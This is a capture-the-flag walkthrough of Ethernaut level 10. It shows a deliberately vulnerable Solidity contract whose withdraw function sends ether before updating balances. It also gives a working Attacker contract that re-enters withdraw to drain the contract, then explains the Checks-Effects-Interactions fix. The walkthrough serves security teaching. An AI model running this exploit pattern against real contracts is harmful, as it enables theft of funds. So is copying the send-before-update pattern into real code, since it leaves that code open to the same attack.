Ethernaut - Lvl 10: Reentrancy
Tags: ethereum, smartcontract, tutorial, security
Published: 2023-07-10 03:03:27

##### _Requirements: Basic knowledge of Solidity smart contracts and Remix IDE._

## The challenge 🤼‍♀️🤼

Steal all the funds from the following contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
```
## Inspecting the contract 🔎🔍

`Reentrance` is a contract that allows donors to give ether to any account via the `donate` function, the `receive` function doesn't update the balance of the beneficiary.

`balances` keeps track of the total amount donated to each beneficiary and that amount can be read with the `balanceOf` method.

The beneficiaries can withdraw ether they have received with the `withdraw` method and only if they have received an amount greater or equal to the amount they want to withdraw. 

The contract implements the `SafeMath` library from OpenZeppelin to protect the arithmetic operations from underflow and overflow.

## Reentrancy 🔄

A reentrancy attack has been the most destructive type of hack that smart contracts have suffered, this attack occurs when a smart contract makes an external call to an untrusted or malicious contract that with his `fallback` creates a recursive call back to the original function in an attempt to drain funds.

That's a good definition for a reentrancy attack but how is `Reentrancy` vulnerable to this type of attack?

When an user calls `withdraw`, the function sends the `amount` to withdraw by the user and only after that call is finished the balance of the donor in the contract is updated. This flow does not follow the Check-Effect-Interactions pattern recommended for functions making it exploitable with a Reentrancy attack.

Given the fact that the function first sends the ether and then updates the balance, that means the function can be re-entered during the execution of the `call` function to recursively invoke `call` to send `amount` again to the user.

## Draining `Reentrance` 😈

A reentrancy attack can only be done with a smart contract, so let's create our attacker contract:

```solidity
interface IReentrance {
    function donate(address _to) external payable;

    function withdraw(uint _amount) external; 
}

contract Attacker {
    IReentrance private immutable reentrance;
    uint256 private constant amountToWithdraw = 1000000000000000;

    constructor (address _reentranceAddr) {
        reentrance = IReentrance(_reentranceAddr);
    }

    fallback() external payable {
        if(address(reentrance).balance >= amountToWithdraw) {
            reentrance.withdraw(amountToWithdraw);
        }
    }

    function attack() external payable {
        reentrance.donate{value: amountToWithdraw}(address(this));
        reentrance.withdraw(amountToWithdraw);
    }
}
```

`attack` will make a call to donate ether to itself and then it will call `withdraw`; after `Reentrance` sends the ether to `Attacker` the `fallback` function will be triggered making a new call to `withdraw` and this cycle will last until the balance in `Reentrance` goes below `amountToWithdraw`.

The if-statement is important because it breaks the cycle otherwise an infinite loop is created, this will drain the gas in the transacion and the funds in `Reentrance` will not be drained.

Before making the attack let's check the balance in `Reentrance`:

```solidity
await web3.eth.getBalance(contract.address).then(bal => bal.toString()) // should return 1000000000000000 or 0.001 ether
```

Deploy `Attack` with the address of the `Reentrance` and then invoke `attack` sending the `1000000000000000 wei` with the transaction.

After the transaction is completed check again the balance of `Reentrance` and it should be zero.

Submit the instance to complete the level.

## Conclusion 💯

If your function is going to make external calls to smart contracts always assume that contract is malicious and design your function to be secure against attacks like reentrancy.

If the developer had followed the Checks-Effects-Interactions pattern then he would have updated the balance first before sending the ether or making an external call.

By doing that when `Attacker` receives the ether after the first withdraw, the fallack is triggered but the condition would have been false because the balance of the contract in Reentrance is zero.

## Further reading 👀

- [Reentrancy Attacks and The DAO Hack](https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/#what_is_a_reentrancy_attack_in_solidity_)
- [Use the Checks-Effects-Interactions Pattern](https://docs.soliditylang.org/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern)
- [Reentrancy](https://docs.soliditylang.org/en/v0.8.20/security-considerations.html#reentrancy)